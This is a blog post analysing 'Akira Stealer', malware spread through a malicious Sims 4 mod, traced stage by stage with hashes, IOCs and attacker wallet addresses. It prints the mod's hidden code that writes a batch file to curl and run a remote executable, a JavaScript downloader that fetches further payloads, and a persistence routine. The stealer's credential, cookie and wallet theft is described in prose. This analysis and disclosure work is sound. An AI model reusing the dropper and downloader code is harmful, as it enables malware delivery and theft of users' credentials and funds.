Post

Akira Stealer - The Sims 4 malware

Stage 0: Introduction

A few weeks ago, a user tried uploading a malicious mod to the Curseforge platform. This mod was aimed at users playing the game “Sims 4”. In cooperation with the Curseforge community, the Curseforge moderation team quickly removed the malicious mod from the platform. I personally found this very interesting, and asked for a copy of the sample from my colleagues, so I could analyze it.

Stage 1: packed Sims 4 mod

AlgorithmHash
Sha256Sum425f89a19d4fe862ae78bafa3a2f17bdbdb416a00e87de78d6d446e71b90abf6
MD5Sum175735b51ecc5597bd657cba0348db93

Unpacking the mod

sims mods (ts4script files) are basically just a python script and a pyc object file zipped together, so unpacking it is as simple as running 7z e Social_Events.ts4script

1
2
$> file Social_Events.ts4script 
Social_Events.ts4script: Zip archive data, at least v2.0 to extract, compression method=deflate

The extracted mod contained a few files, including a python script that handled the injection of custom content into the main Sims 4 instance, and it is also the entry point for this sample:

The Python script

The Python script itself seemed fairly normal for a Sims 4 mod, except for the fact that it contained the following bit of code before it starts the “mod” part of it:

1
2
3
4
5
6
7
8
9
10
temp_dir = tempfile.gettempdir()
bat_file = os.path.join(temp_dir, "script.bat")
with open(bat_file, "w") as f:
 f.write("@echo\n")
 f.write("curl -s -o %temp%\sims4c.exe https://cdn.discordapp.com/attachments/1196086210670637076/1204192190151000145/sims4c.exe\n")
 f.write("%temp%\\sims4c.exe\n")
 f.write("exit\n")
process = subprocess.Popen(["start", "/B", "/min", "cmd.exe", "/C", bat_file], shell=True)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 6)
process.communicate()

The code

1
2
3
4
@echo
curl -s -o %temp%\sims4c.exe https://cdn.discordapp.com/attachments/1196086210670637076/1204192190151000145/sims4c.exe
%temp%\\sims4c.exe
exit

The batch file

This script writes a batch file named script.bat to the Temp directory, then downloads a file named sims4c.exe to the same directory, from the following link https[:]//cdn.discordapp.com/attachments/1196086210670637076/1204192190151000145/sims4c.exe

Sadly, by the time I got around to analyzing this binary, the link was dead, and I couldn’t get my hands on it. Thankfully, my colleague managed to download the sample before the authors took the server down, which allowed me to continue my analysis.

Stage 2 : Electron embedded malware

AlgorithmHash
Sha256Sum8c8558dc150de295f4b1d557243b5d978f09cfcec94145cd1ddb5315b3a0d92a
MD5Sumeea2a0e923f198af0bc9baacbe7c353d

file command output:

1
sims4c.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Nullsoft binaries are, as the file command output says, self-extracting archives, meaning that they are basically just a cheap alternative for a packer (in my personal opinion). Thankfully, that also means they are also glorified zip files (in my opinion). Unpacking this binary was as simple as unpacking the first stage:

1
7z e sims4c.exe -oStage2_Unpacked

After unpacking this binary, I had 4 different files:

  • System.dll (md5: 0d7ad4f45dc6f5aa87f606d0331c6901)
  • app-64.7z (md5: e17d4052baa0ad8f72d5d00ae269bda7)
  • nsis7z.dll (md5: 80e44ce4895304c6a3a831310fbf8cd0)
  • StdUtils.dll(md5: c6a6e03f77c313b267498515488c5740)

The interesting one between all of them was the app-64.7z archive, as it seemed to contain quite a few files

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ 7z l app-64.7z

...
....A       340874               locales/zh-CN.pak
....A       338121               locales/zh-TW.pak
....A     16047692               resources/app.asar
....A      5430320               resources.pak
....A       162352               snapshot_blob.bin
....A       476792               v8_context_snapshot.bin
....A          106               vk_swiftshader_icd.json
....A      4891080     49701855  d3dcompiler_47.dll
....A      2862080               ffmpeg.dll
....A       479232               libEGL.dll
....A      7514112               libGLESv2.dll
....A    162036224               main.exe
....A       107520               resources/elevate.exe
....A      5209088               vk_swiftshader.dll
....A       920576               vulkan-1.dll
...

The interesting files that stood out to me were main.exe, resources/app.asar and resources/elevate.exe I later learned that elevate.exe was in fact a binary distributed by Microsoft and Unity, for their platforms, and VT said it had no detections and marked it as safe, so I continued on and focused exclusively on the other two suspicious files, main.exe and app.asar

I had previously worked with the Electron framework for an old project of mine, so I feel like it’s safe to assume that this app.asar, was probably the data for the main.exe file in this folder. Let’s reverse it!

Stage 2.1: The Electron data

Using the asar binary that comes with the Electron package, I ran the following command to unpack it:

1
asar extract app.asar app/

The extracted data contained the following files:

app list

jscrypter.js, obf.js, input.js? these don’t seem normal. Let’s check them out

Stage 2.2 AES payload

I started off by checking out the input.js file, as it looked like a nice easy place to start looking at, with it being significantly shorter than the other files, and also it contained a big blob of base64 encoded, AES-256-CBC encrypted text:

1
2
3
4
5
6
7
  function decrypt(encdata, masterkey, salt, iv) {
 const key = crypto.pbkdf2Sync(masterkey, Buffer.from(salt, 'base64'), 100000, 32, 'sha512');
 const decipher = crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64'));
 let decrypted = decipher.update(encdata, 'base64', 'utf8');
 decrypted += decipher.final('utf8');
 return decrypted;
}

The decryption function

base64 blob 1

The encrypted data

Instead of messing with any external stuff to decrypt this correctly, I just called console.log on the decrypted code, and wrote the output to a different file. decrypt call

When looking at the decrypted code, I didn’t notice any malicious activity being done, other than a call to download another file, so I’ll mark this as stage 3. Also, inside the jscrypter.js file, it accepted the input.js file as input and obfuscated it, then wrote it to the obf.js file. For some reason, the malware authors left the original input.js script in. A mistake maybe? sims4_js_confuser Sidenote: the obfuscator script they use is this one (I think): MichaelXF/js-confuser

Alongside the comments in English, there are also a few comments in Turkish. This could indicate that the authors are Turkish: sims4_turkish_comments.png

Stage 3.0 - Loader 2 electric boogaloo

The deobfuscated payload appears to call a 4th payload, as the function called downloadFile() would imply: It downloads another file, called pyth.zip, and stores it in the Temp directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
async function downloadFile() {
 try {
  const url = 'https://rentry.co/7vzdm/raw';
  const response = await axios.get(url);
  const fileUrl = response.data;
  const fileResponse = await axios.get(fileUrl, { responseType: 'stream' });
  const writer = fs.createWriteStream(tempFile);
  fileResponse.data.pipe(writer);
  return new Promise((resolve, reject) => {
   writer.on('finish', resolve);
   writer.on('error', reject);
  });
 } catch (error) {
  try {
   const fileUrl = "https://bestofmedia.xyz/.well-known/pki-validation/pyth.zip";
   const fileResponse = await axios.get(fileUrl, { responseType: 'stream' });
   const writer = fs.createWriteStream(tempFile);
   fileResponse.data.pipe(writer);
   return new Promise((resolve, reject) => {
    writer.on('finish', resolve);
    writer.on('error', reject);
});
  } catch (error) {
   console.error('Error:', error.message);
   process.exit(1);
  }
 }
}

4th stage URLs: https[:]//bestofmedia[.]xyz/.well-known/pki-validation/pyth[.]zip, https[:]//rentry.co/7vzdm/raw, https[:]//cladrepublic[.]com/wp-includes/widgets/pyth.zip

It seems like the rentry URL is the first host it tries to download it from, and the bestofmedia URL is the backup host.

This payload also tries to copy itself to Microsoft’s Internet Explorer directory, specifically, it aims to replace the updater.exe file in it:

1
2
3
async function startup() {
 fs.copyFileSync(process.env.PORTABLE_EXECUTABLE_FILE, path.join(process.env.APPDATA, 'Microsoft', 'Internet Explorer', 'UserData', 'Updater.exe'));
}

Right below that function is what seems to be the main function of this stage, and it does quite a few things: It will download and unzip the pyth.zip payload:

download and unzip After that, it will replace a few values in a file called astor.py, under the Crypto\Util\ directory. Notably, it seems to send data to a Discord webhook, along with another ID.

webhook link

This %USERID% value (5203839163) is mentioned later in the code, and is in fact a chat ID for the webhook mentioned above Along with the Discord webhook and the user ID, it replaces the values for a few crypto currency wallets:

crypto wallets

Here they are formatted in a neat table:

CoinAddress
BTCbc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt
ETH0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5
DOGEDACeoqWDPmNARSZAeDZPFwqwecbByaksmd
LTCLLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH
XMR4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D
BCHqrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs
DASHXpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1
TRXTFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK
XRPr36AwwhUH7BRujevi5mukbDrG46KGbTk8V
XLMGAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33

After replacing the values in the script, it overwrites it’s content and executes the script: exec script

After finishing the analysis on the previous obfuscated droppers, I got my hands on the pyth.zip file, that I couldn’t reach, because the servers were dead, because a colleague of mine managed to restore the files after accidentally deleting them, allowing me to continue the analysis.

Stage 4.0 - Encrypted python file

The zip file was filled with a bunch of files, the large majority of them used to execute python on a system via just a zip file (a mobile python installation), so instead of focusing on those files, I went directly to the file mentioned in the above stages: Crypto/Utils/astor.py:

base64 blob 2

This seemed similar to the second stage encrypted JS file, with the AES-CBC encrypted blob of data that gets executed, so I followed the same method as the previous one, by telling it to print the now decrypted values, instead of executing it:

print aes blob

Running this wrote the decrypted data to a file, which ended up being another python file:

Stage 4.1 - Akira stealer

This python file seemed to me like it’s the actual, final payload of this sample, mostly because skimming through gave me a name to the file I’m looking at: akira header

This gives me a name for the sample, “Akira”. A quick google search reveals that this stealer is pretty common, as seen in the following reports:

But this is MY blog, so here’s MY analysis of the malware’s source code (at least of the parts that interested me):

Credential harvesting functionality

The Akira stealer has quite a few credential harvesting options, including, but not limited to credit cards, browser history, cookies, and obviously, credentials. As seen in the following code snippet, this malware targets a variety of browsers, including those listed below:

  • Brave
  • Chrome
  • Chromium
  • Comodo
  • Edge
  • EpicPrivacy
  • Iridium
  • Opera
  • Opera
  • Slimjet
  • UR
  • Vivaldi
  • Yandex

browsers

Chromium-based browser paths

chrome stealer

The calls to steal the Chromium data

The way it steals said data is pretty basic, it just reads the encryption key from the browser’s Local State file, decrypts it with a call to CryptUnprotectData and uses that to decrypt the credentials: get encryption key

Other than stealing credentials, cookies, and browsing history from Chromium-based browsers, it will also attempt to steal information from Steam, Discord and Telegram: steam theft

Steals credentials from steam

telegram theft

Zips telegram folder and stores it in the Akira client folder (saved under `%TEMP%/5203839163.id)

discord theft

Steals information from Discord platforms

discord bad funcs

Stealing functions

it will also query the discord API for the billing information of the victim: discord get billing

Billing theft

It will also inject a stealer for the Exodus and Atomic crypto wallets. However, since the webhook is deleted and the hosting website is down, I can only assume that they’re using the following open source stealer: https://github.com/hackirby/wallets-injection exodus and atomic stealers

Summary

In this post, I decided to not include my attempts at analyzing the wallets and domains, because, as mentioned in the post, by the time I got my hands on the sample, the callback servers were down and the discord webhooks were deleted. I did do some light analysis on the wallet addresses, but since I’m a hobby analyst, and not a government organization, or a company with enough budget to afford better tools, I couldn’t really gleam any information that could even begin to point me in the direction of the authors. All I know is that there is a likelihood of them being Turkish, but that’s about it.

Thanks for reading :)

IOCs

Files

  • script.bat
  • sims4c.exe
  • pyth.zip
  • astor.py
  • 5203839163.id

URLs

  • https[:]//bestofmedia.xyz
  • https[:]//rentry.co/7vzdm
  • https[:]//cladrepublic.com
This post is licensed under CC BY 4.0 by the author.